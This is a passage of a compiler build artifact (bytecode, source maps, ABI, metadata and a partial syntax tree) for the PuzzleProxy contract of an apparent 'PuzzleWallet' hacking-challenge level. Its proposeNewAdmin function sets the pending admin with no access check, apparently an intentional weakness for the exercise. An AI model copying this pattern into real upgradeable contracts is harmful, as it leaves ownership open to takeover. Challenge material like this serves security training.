:44;;;1431:7;1423:16;;;;;;1288:162;1266:184;-1:-1:-1;;388:5:101::1;:14:::0;;-1:-1:-1;;;;;;388:14:101::1;-1:-1:-1::0;;;;;388:14:101;;;::::1;::::0;;;::::1;::::0;;;-1:-1:-1;137:831:101;;-1:-1:-1;137:831:101;2604:360:60;-1:-1:-1;;;;;1465:19:33;;;2677:104:60;;;;-1:-1:-1;;;2677:104:60;;2510:2:155;2677:104:60;;;2492:21:155;2549:2;2529:18;;;2522:30;2588:34;2568:18;;;2561:62;2659:24;2639:18;;;2632:52;2701:19;;2677:104:60;;;;;;;;-1:-1:-1;;;;;;;;;;;2917:31:60;2604:360::o;14:177:155:-;93:13;;-1:-1:-1;;;;;135:31:155;;125:42;;115:70;;181:1;178;171:12;115:70;14:177;;;:::o;196:127::-;257:10;252:3;248:20;245:1;238:31;288:4;285:1;278:15;312:4;309:1;302:15;328:250;413:1;423:113;437:6;434:1;431:13;423:113;;;513:11;;;507:18;494:11;;;487:39;459:2;452:10;423:113;;;-1:-1:-1;;570:1:155;552:16;;545:27;328:250::o;583:1066::-;680:6;688;696;749:2;737:9;728:7;724:23;720:32;717:52;;;765:1;762;755:12;717:52;788:40;818:9;788:40;:::i;:::-;778:50;;847:49;892:2;881:9;877:18;847:49;:::i;:::-;940:2;925:18;;919:25;837:59;;-1:-1:-1;;;;;;993:14:155;;;990:34;;;1020:1;1017;1010:12;990:34;1058:6;1047:9;1043:22;1033:32;;1103:7;1096:4;1092:2;1088:13;1084:27;1074:55;;1125:1;1122;1115:12;1074:55;1154:2;1148:9;1176:2;1172;1169:10;1166:36;;;1182:18;;:::i;:::-;1257:2;1251:9;1225:2;1311:13;;-1:-1:-1;;1307:22:155;;;1331:2;1303:31;1299:40;1287:53;;;1355:18;;;1375:22;;;1352:46;1349:72;;;1401:18;;:::i;:::-;1441:10;1437:2;1430:22;1476:2;1468:6;1461:18;1516:7;1511:2;1506;1502;1498:11;1494:20;1491:33;1488:53;;;1537:1;1534;1527:12;1488:53;1550:68;1615:2;1610;1602:6;1598:15;1593:2;1589;1585:11;1550:68;:::i;:::-;1637:6;1627:16;;;;;;;583:1066;;;;;:::o;1654:225::-;1721:9;;;1742:11;;;1739:134;;;1795:10;1790:3;1786:20;1783:1;1776:31;1830:4;1827:1;1820:15;1858:4;1855:1;1848:15;1739:134;1654:225;;;;:::o;1884:127::-;1945:10;1940:3;1936:20;1933:1;1926:31;1976:4;1973:1;1966:15;2000:4;1997:1;1990:15;2016:287;2145:3;2183:6;2177:13;2199:66;2258:6;2253:3;2246:4;2238:6;2234:17;2199:66;:::i;:::-;2281:16;;;;;2016:287;-1:-1:-1;;2016:287:155:o;2308:418::-;137:831:101;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x60806040526004361061005d575f3560e01c8063a02fcc0a11610042578063a02fcc0a146100cd578063a6376746146100ec578063f851a440146101345761006c565b806326782247146100745780633659cfe6146100ae5761006c565b3661006c5761006a610153565b005b61006a610153565b34801561007f575f80fd5b505f54610092906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b3480156100b9575f80fd5b5061006a6100c83660046103fd565b610185565b3480156100d8575f80fd5b5061006a6100e73660046103fd565b6101f0565b3480156100f7575f80fd5b5061006a6101063660046103fd565b5f805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b34801561013f575f80fd5b50600154610092906001600160a01b031681565b61018361017e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b6102ff565b565b6001546001600160a01b031633146101e45760405162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f74207468652061646d696e00000000000000000060448201526064015b60405180910390fd5b6101ed8161031d565b50565b6001546001600160a01b0316331461024a5760405162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f74207468652061646d696e00000000000000000060448201526064016101db565b5f546001600160a01b038281169116146102ce576040805162461bcd60e51b81526020600482015260248101919091527f4578706563746564206e65772061646d696e206279207468652063757272656e60448201527f742061646d696e206973206e6f74207468652070656e64696e672061646d696e60648201526084016101db565b505f546001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03909216919091179055565b365f80375f80365f845af43d5f803e808015610319573d5ff35b3d5ffd5b6103268161035c565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b6001600160a01b0381163b6103d95760405162461bcd60e51b815260206004820152603660248201527f5570677261646561626c6550726f78793a206e657720696d706c656d656e746160448201527f74696f6e206973206e6f74206120636f6e74726163740000000000000000000060648201526084016101db565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc55565b5f6020828403121561040d575f80fd5b81356001600160a01b0381168114610423575f80fd5b939250505056fea2646970667358221220897a58963b49b36715afa3e1444c9f7bdb8e9025fc8a7090ef4d5c9d90a80b3664736f6c63430008180033","sourceMap":"137:831:101:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2898:11:27;:9;:11::i;:::-;137:831:101;;2675:11:27;:9;:11::i;184:27:101:-;;;;;;;;;;-1:-1:-1;184:27:101;;;;-1:-1:-1;;;;;184:27:101;;;;;;-1:-1:-1;;;;;178:55:155;;;160:74;;148:2;133:18;184:27:101;;;;;;;853:113;;;;;;;;;;-1:-1:-1;853:113:101;;;;;:::i;:::-;;:::i;625:222::-;;;;;;;;;;-1:-1:-1;625:222:101;;;;;:::i;:::-;;:::i;525:94::-;;;;;;;;;;-1:-1:-1;525:94:101;;;;;:::i;:::-;588:12;:24;;-1:-1:-1;;588:24:101;-1:-1:-1;;;;;588:24:101;;;;;;;;;;525:94;217:20;;;;;;;;;;-1:-1:-1;217:20:101;;;;-1:-1:-1;;;;;217:20:101;;;2322:110:27;2397:28;2407:17;1855:66:60;2215:11;;2000:242;2407:17:27;2397:9;:28::i;:::-;2322:110::o;853:113:101:-;468:5;;-1:-1:-1;;;;;468:5:101;454:10;:19;446:55;;;;-1:-1:-1;;;446:55:101;;761:2:155;446:55:101;;;743:21:155;800:2;780:18;;;773:30;839:25;819:18;;;812:53;882:18;;446:55:101;;;;;;;;;929:30:::1;940:18;929:10;:30::i;:::-;853:113:::0;:::o;625:222::-;468:5;;-1:-1:-1;;;;;468:5:101;454:10;:19;446:55;;;;-1:-1:-1;;;446:55:101;;761:2:155;446:55:101;;;743:21:155;800:2;780:18;;;773:30;839:25;819:18;;;812:53;882:18;;446:55:101;559:347:155;446:55:101;711:12:::1;::::0;-1:-1:-1;;;;;711:30:101;;::::1;:12:::0;::::1;:30;703:107;;;::::0;;-1:-1:-1;;;703:107:101;;1113:2:155;703:107:101::1;::::0;::::1;1095:21:155::0;1132:18;;;1125:30;;;;1191:34;1171:18;;;1164:62;1262:34;1242:18;;;1235:62;1314:19;;703:107:101::1;911:428:155::0;703:107:101::1;-1:-1:-1::0;828:12:101::1;::::0;;820:20;;-1:-1:-1;;820:20:101::1;-1:-1:-1::0;;;;;828:12:101;;::::1;820:20:::0;;;::::1;::::0;;625:222::o;948:895:27:-;1286:14;1283:1;1280;1267:34;1500:1;1497;1481:14;1478:1;1462:14;1455:5;1442:60;1576:16;1573:1;1570;1555:38;1614:6;1681:66;;;;1796:16;1793:1;1786:27;1681:66;1716:16;1713:1;1706:27;2361:152:60;2427:37;2446:17;2427:18;:37::i;:::-;2479:27;;-1:-1:-1;;;;;2479:27:60;;;;;;;;2361:152;:::o;2604:360::-;-1:-1:-1;;;;;1465:19:33;;;2677:104:60;;;;-1:-1:-1;;;2677:104:60;;1546:2:155;2677:104:60;;;1528:21:155;1585:2;1565:18;;;1558:30;1624:34;1604:18;;;1597:62;1695:24;1675:18;;;1668:52;1737:19;;2677:104:60;1344:418:155;2677:104:60;1855:66;2917:31;2604:360::o;245:309:155:-;304:6;357:2;345:9;336:7;332:23;328:32;325:52;;;373:1;370;363:12;325:52;412:9;399:23;-1:-1:-1;;;;;455:5:155;451:54;444:5;441:65;431:93;;520:1;517;510:12;431:93;543:5;245:309;-1:-1:-1;;;245:309:155:o","linkReferences":{}},"methodIdentifiers":{"admin()":"f851a440","approveNewAdmin(address)":"a02fcc0a","pendingAdmin()":"26782247","proposeNewAdmin(address)":"a6376746","upgradeTo(address)":"3659cfe6"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_admin\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_implementation\",\"type\":\"address\"},{\"internalType\":\"bytes\",\"name\":\"_initData\",\"type\":\"bytes\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"implementation\",\"type\":\"address\"}],\"name\":\"Upgraded\",\"type\":\"event\"},{\"stateMutability\":\"payable\",\"type\":\"fallback\"},{\"inputs\":[],\"name\":\"admin\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_expectedAdmin\",\"type\":\"address\"}],\"name\":\"approveNewAdmin\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"pendingAdmin\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_newAdmin\",\"type\":\"address\"}],\"name\":\"proposeNewAdmin\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_newImplementation\",\"type\":\"address\"}],\"name\":\"upgradeTo\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"stateMutability\":\"payable\",\"type\":\"receive\"}],\"devdoc\":{\"events\":{\"Upgraded(address)\":{\"details\":\"Emitted when the implementation is upgraded.\"}},\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/PuzzleWallet.sol\":\"PuzzleProxy\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol\":{\"keccak256\":\"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472\",\"dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"src/helpers/UpgradeableProxy-08.sol\":{\"keccak256\":\"0x319f7523f3d894ee062108cb5cff1f54335cf1e2604e183664a53e154d661cdb\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://706f501ff1a2ceedea443a2105d40719cd96e0aa8a5301d07b36104cba3edac1\",\"dweb:/ipfs/QmcwF5eM3rkHby1sVYU4HHCCy7rXDuh7zBLWSVXnSrRKEt\"]},\"src/levels/PuzzleWallet.sol\":{\"keccak256\":\"0x8432ce87285e40d52e116db3bf3d3dad325f1e6bbaae4b198d8048418648c13f\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://2ce1eebf27a4f923dce440763612161928fda4f43e9b40063d6452b558666430\",\"dweb:/ipfs/QmV5NfCkoeevEYTC3h9YBLzco2JT9PwSyfVcnwobYqcFgV\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"_admin","type":"address"},{"internalType":"address","name":"_implementation","type":"address"},{"internalType":"bytes","name":"_initData","type":"bytes"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"implementation","type":"address","indexed":true}],"type":"event","name":"Upgraded","anonymous":false},{"inputs":[],"stateMutability":"payable","type":"fallback"},{"inputs":[],"stateMutability":"view","type":"function","name":"admin","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[{"internalType":"address","name":"_expectedAdmin","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"approveNewAdmin"},{"inputs":[],"stateMutability":"view","type":"function","name":"pendingAdmin","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[{"internalType":"address","name":"_newAdmin","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"proposeNewAdmin"},{"inputs":[{"internalType":"address","name":"_newImplementation","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"upgradeTo"},{"inputs":[],"stateMutability":"payable","type":"receive"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/PuzzleWallet.sol":"PuzzleProxy"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol":{"keccak256":"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27","urls":["bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472","dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"src/helpers/UpgradeableProxy-08.sol":{"keccak256":"0x319f7523f3d894ee062108cb5cff1f54335cf1e2604e183664a53e154d661cdb","urls":["bzz-raw://706f501ff1a2ceedea443a2105d40719cd96e0aa8a5301d07b36104cba3edac1","dweb:/ipfs/QmcwF5eM3rkHby1sVYU4HHCCy7rXDuh7zBLWSVXnSrRKEt"],"license":"MIT"},"src/levels/PuzzleWallet.sol":{"keccak256":"0x8432ce87285e40d52e116db3bf3d3dad325f1e6bbaae4b198d8048418648c13f","urls":["bzz-raw://2ce1eebf27a4f923dce440763612161928fda4f43e9b40063d6452b558666430","dweb:/ipfs/QmV5NfCkoeevEYTC3h9YBLzco2JT9PwSyfVcnwobYqcFgV"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/PuzzleWallet.sol","id":54598,"exportedSymbols":{"Address":[48259],"Proxy":[47117],"PuzzleProxy":[54369],"PuzzleWallet":[54597],"UpgradeableProxy":[50095]},"nodeType":"SourceUnit","src":"32:2958:101","nodes":[{"id":54289,"nodeType":"PragmaDirective","src":"32:23:101","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":54290,"nodeType":"PragmaDirective","src":"56:33:101","nodes":[],"literals":["experimental","ABIEncoderV2"]},{"id":54291,"nodeType":"ImportDirective","src":"91:44:101","nodes":[],"absolutePath":"src/helpers/UpgradeableProxy-08.sol","file":"../helpers/UpgradeableProxy-08.sol","nameLocation":"-1:-1:-1","scope":54598,"sourceUnit":50096,"symbolAliases":[],"unitAlias":""},{"id":54369,"nodeType":"ContractDefinition","src":"137:831:101","nodes":[{"id":54295,"nodeType":"VariableDeclaration","src":"184:27:101","nodes":[],"constant":false,"functionSelector":"26782247","mutability":"mutable","name":"pendingAdmin","nameLocation":"199:12:101","scope":54369,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":54294,"name":"address","nodeType":"ElementaryTypeName","src":"184:7:101","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":54297,"nodeType":"VariableDeclaration","src":"217:20:101","nodes":[],"constant":false,"functionSelector":"f851a440","mutability":"mutable","name":"admin","nameLocation":"232:5:101","scope":54369,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":54296,"name":"address","nodeType":"ElementaryTypeName","src":"217:7:101","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":54315,"nodeType":"FunctionDefinition","src":"244:165:101","nodes":[],"body":{"id":54314,"nodeType":"Block","src":"378:31:101","nodes":[],"statements":[{"expression":{"id":54312,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":54310,"name":"admin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54297,"src":"388:5:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":54311,"name":"_admin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54299,"src":"396:6:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"388:14:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":54313,"nodeType":"ExpressionStatement","src":"388:14:101"}]},"implemented":true,"kind":"constructor","modifiers":[{"arguments":[{"id":54306,"name":"_implementation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54301,"src":"346:15:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":54307,"name":"_initData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54303,"src":"363:9:101","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"id":54308,"kind":"baseConstructorSpecifier","modifierName":{"id":54305,"name":"UpgradeableProxy","nameLocations":["329:16:101"],"nodeType":"IdentifierPath","referencedDeclaration":50095,"src":"329:16:101"},"nodeType":"ModifierInvocation","src":"329:44:101"}],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":54304,"nodeType":"ParameterList","parameters":[{"constant":false,"id":54299,"mutability":"mutable","name":"_admin","nameLocation":"264:6:101","nodeType":"VariableDeclaration","scope":54315,"src":"256:14:101","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":54298,"name":"address","nodeType":"ElementaryTypeName","src":"256:7:101","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":54301,"mutability":"mutable","name":"_implementation","nameLocation":"280:15:101","nodeType":"VariableDeclaration","scope":54315,"src":"272:23:101","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":54300,"name":"address","nodeType":"ElementaryTypeName","src":"272:7:101","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":54303,"mutability":"mutable","name":"_initData","nameLocation":"310:9:101","nodeType":"VariableDeclaration","scope":54315,"src":"297:22:101","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":54302,"name":"bytes","nodeType":"ElementaryTypeName","src":"297:5:101","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"255:65:101"},"returnParameters":{"id":54309,"nodeType":"ParameterList","parameters":[],"src":"378:0:101"},"scope":54369,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":54327,"nodeType":"ModifierDefinition","src":"415:104:101","nodes":[],"body":{"id":54326,"nodeType":"Block","src":"436:83:101","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":54321,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":54318,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"454:3:101","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":54319,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"458:6:101","memberName":"sender","nodeType":"MemberAccess","src":"454:10:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"id":54320,"name":"admin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54297,"src":"468:5:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"454:19:101","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"43616c6c6572206973206e6f74207468652061646d696e","id":54322,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"475:25:101","typeDescriptions":{"typeIdentifier":"t_stringliteral_aa8ec5d8fae9f4324168b2ce12ce357d4c8138c22ffca90f21d943a8359ed9fe","typeString":"literal_string \"Caller is not the admin\""},"value":"Caller is not the admin"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_aa8ec5d8fae9f4324168b2ce12ce357d4c8138c22ffca90f21d943a8359ed9fe","typeString":"literal_string \"Caller is not the admin\""}],"id":54317,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"446:7:101","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":54323,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"446:55:101","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":54324,"nodeType":"ExpressionStatement","src":"446:55:101"},{"id":54325,"nodeType":"PlaceholderStatement","src":"511:1:101"}]},"name":"onlyAdmin","nameLocation":"424:9:101","parameters":{"id":54316,"nodeType":"ParameterList","parameters":[],"src":"433:2:101"},"virtual":false,"visibility":"internal"},{"id":54337,"nodeType":"FunctionDefinition","src":"525:94:101","nodes":[],"body":{"id":54336,"nodeType":"Block","src":"578:41:101","nodes":[],"statements":[{"expression":{"id":54334,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":54332,"name":"pendingAdmin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54295,"src":"588:12:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":54333,"name":"_newAdmin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54329,"src":"603:9:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"588:24:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":54335,"nodeType":"ExpressionStatement","src":"588:24:101"}]},"functionSelector":"a6376746","implemented":true,"kind":"function","modifiers":[],"name":"proposeNewAdmin","nameLocation":"534:15:101","parameters":{"id":54330,"nodeType":"ParameterList","parameters":[{"constant":false,"id":54329,"mutability":"mutable","name":"_newAdmin","nameLocation":"558:9:101","nodeType":"VariableDeclaration","scope":54337,"src":"550:17:101","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":54328,"name":"address","nodeType":"ElementaryTypeName","src":"550:7:101","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"549:19:101"},"returnParameters":{"id":54331,"nodeType":"ParameterList","parameters":[],"src":"578:0:101"},"scope":54369,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":54356,"nodeType":"FunctionDefinition","src":"625:222:101","nodes":[],"body":{"id":54355,"nodeType":"Block","src":"693:154:101","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":54347,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":54345,"name":"pendingAdmin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54295,"src":"711:12:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"id":54346,"name":"_expectedAdmin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54339,"src":"727:14:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"711:30:101","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4578706563746564206e65772061646d696e206279207468652063757272656e742061646d696e206973206e6f74207468652070656e64696e672061646d696e","id":54348,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"743:66:101","typeDescriptions":{"typeIdentifier":"t_stringliteral_46399053d88f895beac588d4c1103c1319fdb59b4a2a5daf131c4952325ebe34","typeString":"literal_string \"Expected new admin by the current admin is not the pending admin\""},"value":"Expected new admin by the current admin is not the pending admin"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_46399053d88f895beac588d4c1103c1319fdb59b4a2a5daf131c4952325ebe34","typeString":"literal_string \"Expected new admin by the current admin is not the pending admin\""}],"id":54344,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"703:7:101","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":54349,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"703:107:101","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":54350,"nodeType":"ExpressionStatement","src":"703:107:101"},{"expression":{"id":54353,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":54351,"name":"admin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54297,"src":"820:5:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":54352,"name":"pendingAdmin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54295,"src":"828:12:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"820:20:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":54354,"nodeType":"ExpressionStatement","src":"820:20:101"}]},"functionSelector":"a02fcc0a","implemented":true,"kind":"function","modifiers":[{"id":54342,"kind":"modifierInvocation","modifierName":{"id":54341,"name":"onlyAdmin","nameLocations":["683:9:101"],"nodeType":"IdentifierPath","referencedDeclaration":54327,"src":"683:9:101"},"nodeType":"ModifierInvocation","src":"683:9:101"}],"name":"approveNewAdmin","nameLocation":"634:15:101","parameters":{"id":54340,"nodeType":"ParameterList","parameters":[{"constant":false,"id":54339,"mutability":"mutable","name":"_expectedAdmin","nameLocation":"658:14:101","nodeType":"VariableDeclaration","scope":54356,"src":"650:22:101","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":54338,"name":"address","nodeType":"ElementaryTypeName","src":"650:7:101","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"649:24:101"},"returnParameters":{"id":54343,"nodeType":"ParameterList","parameters":[],"src":"693:0:101"},"scope":54369,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":54368,"nodeType":"FunctionDefinition","src":"853:113:101","nodes":[],"body":{"id":54367,"nodeType":"Block","src":"919:47:101","nodes":[],"statements":[{"expression":{"arguments":[{"